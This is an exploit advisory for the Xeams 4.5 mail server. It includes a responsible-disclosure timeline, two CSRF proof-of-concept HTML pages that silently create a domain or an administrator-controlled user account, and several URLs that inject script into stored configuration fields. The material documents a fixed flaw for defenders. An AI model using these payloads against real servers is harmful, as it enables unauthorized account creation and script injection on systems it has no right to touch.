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Xeams 4.5 Build 5755 CSRF / Cross Site Scripting

Xeams 4.5 Build 5755 CSRF / Cross Site Scripting
Posted May 8, 2015
Authored by Marlow Tannhauser

Xeams version 4.5 build 5755 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2015-3141
MD5 | 46500fcfcc9c21f43e6371c3d7065cd0

Xeams 4.5 Build 5755 CSRF / Cross Site Scripting

Change Mirror Download
# Exploit Title: Multiple vulnerabilities in Xeams 4.5 Build 5755 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/XeamsDownload.htm
# Version: 4.5 Build 5755. Earlier versions may also be affected.
# CVE: 2015-3141 (Xeams)
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage. Note also that this is a different vulnerability from CVE 2012-2569.


# EXPLOIT DESCRIPTION #
Xeams 4.5 Build 5755 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to create a new SMTP domain in the application, and combines it with one of the stored XSS vulnerabilities.

<html>
<img src="http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&operation=160" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown.

<html>
<img src="http://192.168.1.67:5272/FrontController?txtEmail=marlow@marlow.com&txtPwd=marlow&txtPwd1=marlow&chkActivate=on&chkNotify=on&reportTime_0=0&reportTime_1=- 1&reportTime_2=- 1&reportTime_3=- 1&reportTime_4=- 1&chkServerHost=192.168.1.67&SaveAndClose=Save&operation=504" alt="" width="1" height="1">
</html>


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Server Configuration > SMTP Configuration > Domain Configuration > New domain name field
Example URL: http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22ONE%22%29%3C%2Fscript%3E&operation=160#tab2

Server Configuration > Manage Forwarders > Add a new forwarder > Recipient's address
Example URL: http://192.168.0.8:5272/FrontController?txtRecipient=%3Cscript%3Ealert%28%22THREE%22%29%3C%2Fscript%3E&txtIPAddress=127.0.0.1&chkGoodOnly=on&operation=130

Server Configuration > Manage POP3 Fetcher > New Account > POP3 Server field, User Name field, and Recipient field
Example URL: http://192.168.0.8:5272/FrontController?popFetchServer=%3Cscript%3Ealert%28%22XSS1%22%29%3C%2Fscript%3E&popFetchUser=%3Cscript%3Ealert%28%22XSS2%22%29%3C%2Fscript%3E&popFetchPwd=password&popFetchRecipient=%3Cscript%3Ealert%28%22XSS3%22%29%3C%2Fscript%3E&popFetchCount=0&operation=73&index=-1

Server Configuration > Server Configuration > Advanced Configuration > Smtp HELO domain [XSS is displayed in Tools > About Xeams]
Example URL: POST request


# MITIGATION #
Upgrade to the latest build of Xeams, available from the link shown.

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